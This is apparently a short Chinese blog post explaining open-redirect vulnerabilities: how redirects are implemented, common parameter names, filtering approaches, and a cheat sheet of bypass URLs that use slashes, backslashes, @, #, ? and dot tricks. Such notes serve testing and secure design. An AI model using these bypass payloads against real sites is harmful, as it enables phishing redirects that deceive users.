URL跳转漏洞

URL跳转漏洞:

定义:

url重定向/跳转漏洞就是服务器在告知浏览器跳转时,没有对客户端传入的重定向进行校验,导致用户的浏览器跳转到其他页面的一种漏洞

  实现方法:

    Meta标签内跳转:通过设置meta标签内的refresh属性进行跳转

    JavaScript跳转:window.location.href进行跳转

    header头跳转:直接通过location进行跳转

    (一)利用场景:

    (1)用户登陆,统一的身份认证处,认证完回跳转

    (2)用户分享,收藏内容过后会跳转

    (3)跨站点认证、授权后,会跳转

    (4)站内点击其他网址连接时,会跳转

    (二)常见的参数名:

    

 return
redirect
redirectpath
reurl
refer
jumpto
go
next
linkto
target
callback
url

  

限制方式:

  1. 参数无过滤且用户可控

  2. 对协议进行限制

  3. 白名单

Bypass方式:

  • 缺少协议进行绕过

  • 单/多斜线 “ / ” 绕过

  • 单/双反斜线 “ \ ”绕过

  • 利用 “ @ ”、“ # ”、“ . ” 、“ ? ” 符号绕过

绕过方法

https://www.xxx.com/xxx.php?url=//www.baidu.com     #通过双斜线绕过
	
https://www.xxx.com/xxx.php?url=/www.baidu.com		#通过斜线绕过

https://www.xxx.com/xxx.php?url=///www.baidu.com	#通过多斜线绕过

https://www.xxx.com/xxx.php?url=////www.baidu.com	#通过多斜线绕过

https://www.xxx.com/xxx.php?url=https://www.baidu.com\www.xxx.com      #通过反斜线绕过,反斜线前面是目标地址,反斜线后是源地址

https://www.xxx.com/xxx.php?url=https://www.baidu.com\\www.xxx.com     #通过双反斜线绕过,反斜线前面是目标地址,反斜线后是源地址

https://www.xxx.com/xxx.php?url=https://www.baidu.com\\\\www.xxx.com   #通过多反斜线绕过,反斜线前面是目标地址,反斜线后是源地址

https://www.xxx.com/xxx.php?url=https://www.xxx.com@www.baidu.com      #通过艾特符号绕过,和之前不一样的是:艾特符号前是源地址,艾特符号后面是目标地址

https://www.xxx.com/xxx.php?url=https://www.baidu.com#www.xxx.com      #通过#符号进行绕过,#前面是目标地址,反斜线后是源地址

https://www.xxx.com/xxx.php?url=https://www.baidu.com?www.xxx.com      #通过问号绕过,问好前面是目标地址,反斜线后是源地址

https://www.xxx.com/xxx.php?url=.baidu     #通过点绕过,可能是直接跳转到xxx.com.baidu的域名

https://www.xxx.com/xxx.php?url=.baidu.com		#通过点绕过,直接就跳转到baidu的域名

https://www.xxx.com/xxx.php?url=https://baidu.com\.www.xxx.com   #一个反斜杠加一个点来跳过限制,

#利用白名单绕过限制,通过购买其他域名,进行绕过

https://www.xxx.com/xxx.php?url=https://ww.baidu.com/xxx.phpurl=https://www.baidu.com   #多重跳转进行绕过

https://www.xxx.com/xxx.php?url=https://baidu.com   #点击触发,通过登陆界面,点击登陆(账号密码不一定要用对的)进行绕过

  emmm!是总结了许多师傅的,然后记录下来的,侵权删

posted @ 2020-03-27 21:40  Yayaro  阅读(244)  评论(0编辑  收藏  举报